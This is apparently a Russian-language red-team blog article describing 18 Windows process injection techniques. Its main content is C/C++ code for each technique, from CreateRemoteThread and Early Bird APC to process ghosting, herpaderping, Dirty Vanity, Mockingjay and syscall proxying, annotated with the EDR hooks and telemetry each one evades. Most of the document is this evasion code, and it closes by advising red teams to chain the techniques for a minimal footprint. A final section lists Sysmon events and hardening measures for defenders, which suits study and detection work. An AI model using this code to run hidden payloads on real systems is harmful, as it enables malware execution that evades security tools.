Process Injection 2026 — Все техники инъекции кода в Windows с примерами

Posted on 1 апреля, 2026 by AkaTor

Категория: Red Team / Offensive Security
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026
Демонстрационный код: `RESEARCH/demos/article-21-injection/`

Введение

Process Injection — внедрение и выполнение кода в адресном пространстве другого процесса. Применяется для обхода средств защиты, маскировки активности под легитимный процесс и получения доступа к данным целевого процесса.

В 2026 году EDR-решения отслеживают стандартные API-вызовы (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) через userland hooks в ntdll.dll. Современные техники направлены на обход этих хуков: прямые системные вызовы, использование легитимных callback-механизмов, fiber-based выполнение и инъекция через клонирование процессов.

Статья покрывает 18 техник — от классических до актуальных в 2026, с полными примерами кода на C/C++ и собираемым x64 MessageBox shellcode.

Предупреждение: Материал для авторизованного пентестинга и исследования безопасности.

Содержание

Классические:

1. Classic CreateRemoteThread
2. Direct Syscalls (NtCreateThreadEx)
3. APC Injection (QueueUserAPC)
4. Early Bird APC

Средний уровень:
5. Process Hollowing (RunPE)
6. Callback-based Injection
7. Module Stomping
8. Fiber-based Execution
9. Process Ghosting
10. Process Herpaderping
11. Transacted Hollowing (Process Doppelganging)

Продвинутые:
12. Dirty Vanity (Process Reflection)
13. Thread Name Abuse
14. Threadless Injection (Hardware Breakpoints)
15. Pool Party (Worker Factory)
16. Mockingjay (RWX Sections)
17. Syscall Proxying (RecycledGate / SysWhispers3)
18. Module Overloading (Manual DLL Mapping)

19. Сравнительная таблица
20. Blue Team — обнаружение

---

1. Classic CreateRemoteThread

Базовая техника. Открываем целевой процесс, выделяем память, записываем shellcode, создаём удалённый поток.

Цепочка вызовов:

```
OpenProcess → VirtualAllocEx (RWX) → WriteProcessMemory → CreateRemoteThread
```

Код

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

// Выделяем RWX память в целевом процессе
LPVOID remoteBuf = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Записываем shellcode
WriteProcessMemory(hProcess, remoteBuf, shellcode, sizeof(shellcode),
NULL);

// Создаём поток — shellcode выполняется
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)remoteBuf, NULL, 0, NULL);

WaitForSingleObject(hThread, INFINITE);
```

Обнаружение: Высокий. Все EDR перехватывают VirtualAllocEx (PAGE_EXECUTE_READWRITE) + CreateRemoteThread. Sysmon Event 8 (CreateRemoteThread), Event 10 (ProcessAccess).
Применение: Учебный пример. В реальных операциях не используется.

---

2. Direct Syscalls (NtCreateThreadEx)

Вызов Nt-функций напрямую из ntdll.dll, минуя userland hooks EDR. Дополнительно — выделение памяти как RW с последующим изменением на RX (не RWX).

Цепочка вызовов:

```
NtAllocateVirtualMemory (RW) → NtWriteVirtualMemory →
NtProtectVirtualMemory (RX) → NtCreateThreadEx
```

Код

```
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
auto NtAllocateVirtualMemory =
```

```
(pNtAllocateVirtualMemory)GetProcAddress(ntdll,
"NtAllocateVirtualMemory");
auto NtWriteVirtualMemory    =
(pNtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
auto NtCreateThreadEx        =
(pNtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
auto NtProtectVirtualMemory  =
(pNtProtectVirtualMemory)GetProcAddress(ntdll,
"NtProtectVirtualMemory");

// Выделяем как RW (не RWX)
PVOID remoteBuf = NULL;
SIZE_T regionSize = sizeof(shellcode);
NtAllocateVirtualMemory(hProcess, &remoteBuf, 0, &regionSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Записываем
NtWriteVirtualMemory(hProcess, remoteBuf, shellcode,
sizeof(shellcode), NULL);

// Меняем на RX (не RWX — менее подозрительно)
ULONG oldProtect;
NtProtectVirtualMemory(hProcess, &remoteBuf, &regionSize,
PAGE_EXECUTE_READ, &oldProtect);

// Создаём поток через Nt API
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
remoteBuf, NULL,
    0, 0, 0, 0, NULL);
```

Обнаружение: Средний. Обходит userland hooks. Kernel callbacks (PsSetCreateThreadNotifyRoutine) обнаружат создание потока. ETW по-прежнему логирует.
Улучшение: SysWhispers3 / RecycledGate — вызов syscall через gadgets в легитимных модулях, обход даже inline hooks в ntdll.

---

3. APC Injection

Asynchronous Procedure Call — механизм Windows для выполнения кода в контексте конкретного потока. Ставим shellcode в APC-очередь потока целевого процесса.

Ограничение: APC выполнится только когда поток войдёт в alertable state (вызовы SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx).

```
// Выделяем и записываем shellcode в целевой процесс
LPVOID remoteBuf = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuf, shellcode, sizeof(shellcode),
NULL);

// Открываем поток целевого процесса
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);

// Ставим APC — выполнится при alertable wait
QueueUserAPC((PAPCFUNC)remoteBuf, hThread, 0);
```

Обнаружение: Средний. Нет Event 8 (CreateRemoteThread). Sysmon Event 10 (ProcessAccess) + нетипичный QueueUserAPC в cross-process контексте.
Применение: Целевой поток должен входить в alertable state. Для надёжности — APC во все потоки процесса.

---

4. Early Bird APC

Комбинация APC Injection и suspended process. Создаём процесс в suspended state, ставим APC в его основной поток **до инициализации EDR**, затем возобновляем.

```
// 1. Создаём процесс suspended
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);
```

```
// 2. Записываем shellcode
LPVOID remoteBuf = VirtualAllocEx(pi.hProcess, NULL,
sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuf, shellcode,
sizeof(shellcode), NULL);

// 3. APC в основной поток — выполнится ДО хуков EDR
QueueUserAPC((PAPCFUNC)remoteBuf, pi.hThread, 0);

// 4. Resume — APC выполняется первым, до ntdll!LdrInitializeThunk
ResumeThread(pi.hThread);
```

Обнаружение: Низкий-Средний. Процесс создаётся легитимно (Event 1). APC выполняется до инициализации EDR в процессе. Kernel callbacks обнаружат подозрительный CREATE_SUSPENDED паттерн.
Применение: Один из наиболее результативных методов. Широко используется в malware.

---

5. Process Hollowing (RunPE)

Создаём легитимный процесс suspended, выгружаем его образ из памяти, загружаем свой PE-файл, меняем контекст потока на новый entry point, возобновляем.

Цепочка:

```
CreateProcess (SUSPENDED) → NtUnmapViewOfSection → VirtualAllocEx →
WriteProcessMemory (headers + sections) → SetThreadContext (new EP) →
ResumeThread
```

```
// 1. Создаём svchost.exe suspended
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. Выгружаем оригинальный образ
NtUnmapViewOfSection(pi.hProcess, imageBase);
```

```
// 3. Выделяем память по ImageBase payload'a
PVOID newBase = VirtualAllocEx(pi.hProcess,
    (PVOID)ntHeaders->OptionalHeader.ImageBase,
    ntHeaders->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 4. Записываем headers и секции
WriteProcessMemory(pi.hProcess, newBase, peBuffer,
    ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < numSections; i++) WriteProcessMemory(pi.hProcess,
(BYTE*)newBase + section[i].VirtualAddress, (BYTE*)peBuffer +
section[i].PointerToRawData, section[i].SizeOfRawData, NULL); // 5.
Обновляем ImageBase в PEB и EntryPoint в контексте ctx.Rcx =
(DWORD64)newBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);

// 6. Resume — payload выполняется как svchost.exe
ResumeThread(pi.hThread);
```

Обнаружение: Средний. NtUnmapViewOfSection — нетипичный вызов. Несоответствие образа на диске и в памяти обнаруживается сканированием. Sysmon Event 25 (ProcessTampering).
Применение: Маскировка payload под легитимный системный процесс.

---

6. Callback-based Injection

Вместо CreateRemoteThread используются Windows API, принимающие callback-функции. Shellcode передаётся как callback. Нового потока не создаётся.

```
LPVOID buf = VirtualAlloc(NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(buf, shellcode, sizeof(shellcode));

// Вариант 1: EnumWindows — вызывает callback для каждого окна
EnumWindows((WNDENUMPROC)buf, 0);
```

```
// Вариант 2: EnumChildWindows
EnumChildWindows(GetDesktopWindow(), (WNDENUMPROC)buf, 0);

// Вариант 3: CertEnumSystemStore
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL,
    (PFN_CERT_ENUM_SYSTEM_STORE)buf);

// Вариант 4: EnumDesktopsW
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)buf, 0);

// Вариант 5: SetTimer (через WM_TIMER message)
SetTimer(NULL, 0, 0, (TIMERPROC)buf);
MSG msg;
GetMessageW(&msg, NULL, 0, 0);
DispatchMessageW(&msg);
```

Обнаружение: Низкий. Нет CreateRemoteThread, нет нового потока. VirtualAlloc с PAGE_EXECUTE_READWRITE — единственный индикатор. Эвристический анализ может обнаружить вызов callback'а из RWX-региона.
Применение: Локальное выполнение shellcode без создания потока. Для удалённой инъекции комбинируется с другими методами.

---

7. Module Stomping

Загружаем легитимную DLL в целевой процесс, затем перезаписываем её .text секцию нашим shellcode. Выполнение происходит из адресного пространства легитимного модуля.

```
// 1. Загружаем DLL в целевой процесс
CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)LoadLibraryA, dllNameBuf, 0, NULL);

// 2. Находим .text секцию (обычно base + 0x1000)
LPVOID textSection = (LPVOID)(dllBase + 0x1000);

// 3. Меняем protection, перезаписываем, возвращаем protection
```

```
VirtualProtectEx(hProcess, textSection, sizeof(shellcode),
    PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProcess, textSection, shellcode,
sizeof(shellcode), NULL);
VirtualProtectEx(hProcess, textSection, sizeof(shellcode),
    PAGE_EXECUTE_READ, &oldProtect);

// 4. Выполняем — адрес принадлежит легитимной DLL
CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)textSection, NULL, 0, NULL);
```

Обнаружение: Низкий. Shellcode выполняется из адресного пространства подписанной DLL. Сканирование памяти обнаружит расхождение с образом на диске. Sysmon Event 25 (ProcessTampering) в новых версиях.
Применение: Обход сканирования памяти, маскировка источника выполнения.

---

8. Fiber-based Execution

Fibers — кооперативные потоки внутри одного потока ОС. Переключение между Fiber не создаёт новый поток и не отслеживается EDR.

```
LPVOID buf = VirtualAlloc(NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(buf, shellcode, sizeof(shellcode));

// Конвертируем текущий поток в Fiber
PVOID mainFiber = ConvertThreadToFiber(NULL);

// Создаём Fiber с shellcode как entry point
PVOID shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)buf,
NULL);

// Переключаемся — выполнение без нового потока
SwitchToFiber(shellcodeFiber);

// Cleanup
```

```
DeleteFiber(shellcodeFiber);
ConvertFiberToThread();
```

Обнаружение: Низкий. Нет создания потока, нет cross-process операций. VirtualAlloc RWX — единственный индикатор. Fiber API редко отслеживается.
Применение: Локальное выполнение shellcode. Часто комбинируется с другими техниками для финального этапа выполнения.

---

9. Process Ghosting

Создаём файл, записываем payload, помечаем файл на удаление через NtSetInformationFile (FileDispositionInformation), создаём секцию из файла, закрываем handle — файл удаляется с диска, но секция остаётся в памяти. Процесс создаётся из этой секции.

Цепочка:

```
CreateFile → WriteFile → NtSetInformationFile(DELETE_ON_CLOSE) →
NtCreateSection → CloseHandle (файл удалён) → NtCreateProcessEx →
NtCreateThreadEx
```

```
// 1. Создаём временный файл и записываем payload
HANDLE hFile = CreateFileW(tempFile, GENERIC_READ | GENERIC_WRITE |
DELETE, ...);
WriteFile(hFile, payloadBuf, payloadSize, &written, NULL);

// 2. Помечаем файл на удаление (файл ещё открыт)
struct { BOOLEAN DeleteFile; } dispInfo = { TRUE };
NtSetInformationFile(hFile, &iosb, &dispInfo, sizeof(dispInfo),
    (FILE_INFORMATION_CLASS)13);

// 3. Создаём секцию из помеченного файла
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
    PAGE_READONLY, SEC_IMAGE, hFile);

// 4. Закрываем файл — он удаляется с диска, секция жива
CloseHandle(hFile);
```

```
// 5. Создаём процесс из секции — файла на диске уже нет
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
    GetCurrentProcess(), 0, hSection, NULL, NULL, 0);

// 6. Создаём поток с entry point из PE headers
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
    entryPoint, NULL, 0, 0, 0, 0, NULL);
```

Обнаружение: Низкий. Файл не существует на диске в момент выполнения — EDR не может просканировать исполняемый образ. Kernel callback PsSetCreateProcessNotifyRoutine фиксирует создание процесса, но ImageFileName будет пустым или указывать на удалённый файл.
Применение: Запуск payload без следа на файловой системе.

---

10. Process Herpaderping

Записываем payload в файл, создаём секцию из него, затем **перезаписываем** содержимое файла легитимным PE (например notepad.exe). Когда EDR сканирует файл — видит notepad. Но секция в памяти содержит payload.

```
// 1. Создаём файл и записываем payload
HANDLE hFile = CreateFileW(targetPath, GENERIC_READ | GENERIC_WRITE,
...);
WriteFile(hFile, payloadBuf, payloadSize, &written, NULL);

// 2. Создаём секцию (содержит payload)
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
    PAGE_READONLY, SEC_IMAGE, hFile);

// 3. Перезаписываем файл легитимным PE
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
WriteFile(hFile, notepadBuf, notepadSize, &written, NULL);
FlushFileBuffers(hFile);
CloseHandle(hFile);
// Файл на диске = notepad.exe, секция в памяти = payload
```

```
// 4. Создаём процесс из секции
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
    GetCurrentProcess(), 0, hSection, NULL, NULL, 0);
NtCreateThreadEx(&hThread, ...);
```

Обнаружение: Низкий. При сканировании файла EDR видит легитимный PE. Образ в памяти не совпадает с файлом на диске — обнаруживается только при сравнении.
Применение: Обман файлового сканирования EDR.

---

11. Transacted Hollowing (Process Doppelganging)

Использует NTFS Transactions: создаём транзакцию, записываем payload в файл внутри транзакции, создаём секцию, откатываем транзакцию. Файл на диске никогда не изменялся.

```
// 1. Создаём NTFS транзакцию
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);

// 2. Создаём файл внутри транзакции
HANDLE hTransactedFile = CreateFileTransactedW(targetPath,
    GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);

// 3. Записываем payload (видимо только внутри транзакции)
WriteFile(hTransactedFile, payloadBuf, payloadSize, &written, NULL);

// 4. Создаём секцию из transacted файла
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
    PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// 5. Откатываем транзакцию — файл никогда не существовал на диске
CloseHandle(hTransactedFile);
RollbackTransaction(hTransaction);

// 6. Создаём процесс из секции
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
```

```
    GetCurrentProcess(), 0, hSection, NULL, NULL, 0);
NtCreateThreadEx(&hThread, ...);
```

Обнаружение: Низкий. Файл никогда не был записан на диск (транзакция откачена). Kernel callbacks видят создание процесса, но файл-источник не существует. Современные EDR отслеживают TmTx* API.
Применение: Максимально чистое выполнение PE без следа на файловой системе. Требует Windows с поддержкой NTFS Transactions.

---

12. Dirty Vanity (Process Reflection)

Использует RtlCreateProcessReflection для создания клона (fork) целевого процесса. Shellcode записывается в оригинал до форка и появляется в клоне автоматически. Поток создаётся в клоне, не в оригинальном процессе.

```
auto RtlCreateProcessReflection = (pRtlCreateProcessReflection)
    GetProcAddress(GetModuleHandleA("ntdll.dll"),
"RtlCreateProcessReflection");

// 1. Записываем shellcode в целевой процесс
LPVOID remoteBuf = VirtualAllocEx(hProcess, NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuf, shellcode, sizeof(shellcode),
NULL);

// 2. Создаём клон процесса — shellcode как StartRoutine
RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = {};
RtlCreateProcessReflection(hProcess, 0x2,
    remoteBuf, NULL, NULL, &info);

// Shellcode выполняется в клоне — оригинальный процесс не затронут
```

Обнаружение: Низкий. Создание потока происходит в клонированном процессе — ETW-мониторинг оригинального процесса не фиксирует. Клон существует кратковременно и завершается после выполнения.
Применение: Обход ETW Thread Creation notifications. Исследование SafeBreach (2022).

---

13. Thread Name Abuse

NtSetInformationThread с ThreadNameInformation позволяет записать произвольные данные в kernel-managed структуру потока. Shellcode сохраняется как «имя потока», затем извлекается и выполняется. Нет вызовов VirtualAllocEx и WriteProcessMemory.

```
// 1. Записываем shellcode как "имя потока"
UNICODE_STRING threadName;
threadName.Length = sizeof(shellcode);
threadName.MaximumLength = sizeof(shellcode);
threadName.Buffer = (PWSTR)shellcode;

NtSetInformationThread(GetCurrentThread(),
    ThreadNameInformation, &threadName, sizeof(UNICODE_STRING));

// 2. Извлекаем обратно в RX-память
NtQueryInformationThread(GetCurrentThread(),
    ThreadNameInformation, nameInfo, returnLength, &returnLength);

// 3. Выполняем
((void(*)())nameInfo->Buffer)();
```

Обнаружение: Низкий. Нет WriteProcessMemory, нет CreateRemoteThread. NtSetInformationThread с ThreadNameInformation — легитимная операция (используется отладчиками).
Применение: Передача shellcode через kernel-managed хранилище без классических API записи памяти.

---

14. Threadless Injection (Hardware Breakpoints)

Устанавливаем hardware breakpoint (DR0-DR3) на часто вызываемую функцию. При срабатывании — Vectored Exception Handler перенаправляет выполнение на shellcode. Нет CreateRemoteThread, нет нового потока.

```
LPVOID g_shellcodeAddr = NULL;

LONG CALLBACK VehHandler(PEXCEPTION_POINTERS exInfo)
{
    if (exInfo->ExceptionRecord->ExceptionCode ==
EXCEPTION_SINGLE_STEP) {
        exInfo->ContextRecord->Rip = (DWORD64)g_shellcodeAddr;
        exInfo->ContextRecord->Dr0 = 0;
        exInfo->ContextRecord->Dr7 = 0;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// 1. Регистрируем VEH
AddVectoredExceptionHandler(1, VehHandler);

// 2. Устанавливаем HW breakpoint на NtWaitForSingleObject
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (DWORD64)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtWaitForSingleObject");
ctx.Dr7 = 0x00000001;
SetThreadContext(GetCurrentThread(), &ctx);

// 3. Любой вызов Sleep/Wait триггерит breakpoint → VEH → shellcode
Sleep(1);
```

Обнаружение: Низкий. Нет создания потоков, нет cross-process операций. AddVectoredExceptionHandler — единственный индикатор. Hardware breakpoints не логируются.
Применение: Выполнение shellcode без каких-либо injection-specific API вызовов.

---

15. Pool Party (Worker Factory)

Инъекция через Windows Thread Pool. Вместо создания нового потока — подменяем StartRoutine в Worker Factory целевого процесса. При создании нового worker thread — выполняется наш shellcode. Обходит все EDR на момент публикации (SafeBreach, DEF CON 31, 2023).

```
Концептуальная цепочка:
1. Записать shellcode в целевой процесс
2. Найти TpWorkerFactory handle через NtQuerySystemInformation
3. Дублировать handle через NtDuplicateObject
4. Запросить WorkerFactoryBasicInformation — получить StartRoutine
5. Подменить StartRoutine на адрес shellcode
6. Увеличить минимум потоков — Worker Factory создаёт новый worker
7. Новый worker стартует с нашим shellcode как StartRoutine

Варианты: TP_WORK, TP_WAIT, TP_IO, TP_TIMER, TP_ALPC, TP_DIRECT
```

Обнаружение: Низкий. Поток создаётся самим Thread Pool менеджером — выглядит легитимно. Нет CreateRemoteThread. NtSetInformationWorkerFactory — редко отслеживаемый API.
Применение: Наиболее скрытная техника 2023-2026. Активно используется в продвинутых APT.

---

16. Mockingjay (RWX Sections)

Поиск легитимных DLL в системе, содержащих секцию с правами RWX (Read-Write-Execute). Shellcode записывается напрямую через memcpy — без VirtualAlloc, без VirtualProtect. Минимум observable API-вызовов.

```
// 1. Загружаем DLL с RWX-секцией (например msys-2.0.dll из Git)
HMODULE hMod = LoadLibraryA("C:\\Program
Files\\Git\\usr\\bin\\msys-2.0.dll");

// 2. Находим RWX-секцию
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);
```

```
for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
    if ((section[i].Characteristics & 0xE0000000) == 0xE0000000) {
        rwxAddr = (BYTE*)hMod + section[i].VirtualAddress;
        break;
    }
}

// 3. Записываем shellcode — НЕТ VirtualAlloc, НЕТ VirtualProtect
memcpy(rwxAddr, shellcode, sizeof(shellcode));

// 4. Выполняем из адресного пространства легитимной DLL
((void(*)())rwxAddr)();
```

Обнаружение: Низкий. Нет вызовов VirtualAlloc/VirtualProtect — основных индикаторов. Shellcode выполняется из адресного пространства подписанной DLL. Требуется наличие DLL с RWX-секцией в системе.
Применение: Минимальный API footprint. Работает при наличии Git, Cygwin, MSYS2 и подобного ПО.

---

17. Syscall Proxying (RecycledGate / SysWhispers3)

Вместо прямого вызова инструкции syscall — находим легитимный gadget `syscall; ret` в ntdll.dll и выполняем syscall через него. Стек вызовов выглядит как легитимный вызов из ntdll.

```
// 1. Извлекаем SSN (System Service Number) из ntdll stub
PBYTE funcAddr = (PBYTE)GetProcAddress(ntdll,
"NtAllocateVirtualMemory");
// Паттерн: mov r10,rcx (4C 8B D1) → mov eax,SSN (B8 XX XX 00 00)
DWORD ssn = *(DWORD*)(funcAddr + 4);

// 2. Если ntdll хукнута — Halo's Gate: берём SSN у соседней функции
// SSN соседа ± 1 = наш SSN

// 3. Находим "syscall; ret" gadget в ntdll
for (DWORD i = 0; i < textSize; i++)
```

```
    if (text[i] == 0x0F && text[i+1] == 0x05 && text[i+2] == 0xC3)
        gadget = &text[i];

// 4. Вызов: mov r10,rcx; mov eax,SSN; jmp [gadget]
// RIP на момент syscall указывает в ntdll.dll — легитимный стек
```

Обнаружение: Низкий. RIP при syscall указывает в ntdll — kernel telemetry видит легитимный вызов. Обходит userland hooks и syscall-level проверки по обратному адресу.
Применение: Усиление любой другой техники инъекции. Комбинируется с методами 1-16 для обхода EDR hooks.

---

18. Module Overloading (Manual DLL Mapping)

Загрузка DLL вручную без вызова LoadLibrary. Читаем PE с диска, маппим секции, обрабатываем relocations, резолвим импорты, вызываем DllMain. Нет уведомления LdrLoadDll, нет ETW DLL load event.

```
// 1. Выделяем память по SizeOfImage
LPVOID baseAddr = VirtualAlloc(NULL,
ntHdr->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 2. Копируем headers и секции
memcpy(baseAddr, peBuffer, ntHdr->OptionalHeader.SizeOfHeaders);
for (int i = 0; i < numSections; i++) memcpy((BYTE*)baseAddr +
section[i].VirtualAddress, (BYTE*)peBuffer +
section[i].PointerToRawData, section[i].SizeOfRawData); // 3.
Обработка relocations (если базовый адрес отличается) DWORD64 delta =
(DWORD64)baseAddr - ntHdr->OptionalHeader.ImageBase;
// Проходим по .reloc секции и корректируем адреса

// 4. Резолвим импорты
// Для каждого ImportDescriptor: LoadLibrary(dll) →
GetProcAddress(func)
```

```
// 5. Вызываем DllMain
DLL_ENTRY_POINT dllMain = (DLL_ENTRY_POINT)
    ((BYTE*)baseAddr + ntHdr->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)baseAddr, DLL_PROCESS_ATTACH, NULL);
// DLL выполнена — без LoadLibrary, без LdrLoadDll, без ETW
```

Обнаружение: Низкий. Нет события загрузки модуля (Sysmon Event 7). Нет записи в PEB->Ldr module list. Модуль невидим для EnumProcessModules. VirtualAlloc RWX — единственный индикатор.
Применение: Загрузка полноценных DLL-payload'ов (с импортами, ресурсами) без регистрации в системе.

---

19. Сравнительная таблица

Техника	Новый поток	Cross-process	Запись на диск	Обнаружение	Обходит userland hooks
1. CreateRemoteThread	Да	Да	Нет	Высокий	Нет
2. NtCreateThreadEx (syscall)	Да	Да	Нет	Средний	Да
3. APC Injection	Нет*	Да	Нет	Средний	Нет
4. Early Bird APC	Нет*	Да	Нет	Низкий-Средний	Частично
5. Process Hollowing	Нет**	Да	Нет	Средний	Нет
6. Callback-based	Нет	Нет	Нет	Низкий	Нет
7. Module Stomping	Да	Да	Нет	Низкий	Нет
8. Fiber-based	Нет	Нет	Нет	Низкий	Не требуется
9. Process Ghosting	Да	Нет***	Нет****	Низкий	Нет

10. Process Herpaderping	Да	Нет***	Подмена	Низкий	Нет
11. Transacted Hollowing	Да	Нет***	Нет	Низкий	Нет
12. Dirty Vanity	В клоне	Да	Нет	Низкий	Нет
13. Thread Name Abuse	Нет	Возможно	Нет	Низкий	Частично
14. Threadless (HW BP)	Нет	Нет	Нет	Низкий	Не требуется
15. Pool Party	Worker	Да	Нет	Низкий	Нет
16. Mockingjay	Нет	Нет	Нет	Низкий	Не требуется
17. Syscall Proxying	—	—	Нет	Низкий	Да
18. Module Overloading	Нет	Нет	Нет	Низкий	Частично

* APC использует существующий поток
** Process Hollowing возобновляет suspended поток
*** Создаёт новый процесс, не инжектит в существующий
**** Файл удаляется до запуска процесса

---

20. Blue Team — обнаружение

Мониторинг

```
1.  Sysmon Event 8 (CreateRemoteThread) — классическая инъекция
2.  Sysmon Event 10 (ProcessAccess) с GrantedAccess:
    - 0x1F0FFF (PROCESS_ALL_ACCESS)
    - 0x001F0FFF, 0x0800, 0x0010 (VM_READ/WRITE/OPERATION)
3.  Sysmon Event 25 (ProcessTampering) — hollowing, stomping
4.  ETW: Microsoft-Windows-Kernel-Process — все Thread
```

create/terminate
5. VirtualAllocEx с PAGE_EXECUTE_READWRITE cross-process — индикатор
6. CreateProcess с CREATE_SUSPENDED → быстрый ResumeThread — Early Bird паттерн
7. NtUnmapViewOfSection — Process Hollowing индикатор
8. RtlCreateProcessReflection — Dirty Vanity
9. Аномальные callback-вызовы из RWX-регионов
10. Расхождение PE-образа на диске и в памяти — all hollowing/stomping

Защита

1. Hardware-based Stack Integrity (Intel CET / Shadow Stack) — обнаруживает ROP/shellcode
2. Arbitrary Code Guard (ACG) — запрет создания RWX-страниц
3. Code Integrity Guard (CIG) — загрузка только подписанных модулей
4. Control Flow Guard (CFG) — валидация indirect calls
5. Block non-Microsoft binaries injection (WDAC)
6. Protected Processes Light (PPL) — запрет инъекции в защищённые процессы
7. Credential Guard — изоляция LSASS от инъекции
8. Sysmon с правилами на Events 8, 10, 25
9. Memory scanning (YARA) по сигнатурам shellcode
10. Behavioral analysis — паттерн alloc-write-execute в cross-process

---

Заключение

Process Injection эволюционирует вместе со средствами защиты. В 2026 году классический CreateRemoteThread обнаруживается мгновенно, но техники уровня Dirty Vanity, Fiber injection и Thread Name Abuse проходят мимо большинства EDR.

Ключевой тренд — уход от создания новых потоков (threadless injection) и от стандартных API записи памяти. Чем меньше observable API-вызовов — тем ниже вероятность обнаружения.

Для Red Team: комбинируйте техники. Syscall для обхода hooks + Module Stomping для маскировки источника + Fiber для выполнения = минимальный отпечаток.

Для Blue Team: ETW kernel callbacks обнаруживают то, что userland hooks пропускают. Hardware-based защита (CET, ACG) — наиболее эффективный барьер против современных техник инъекции.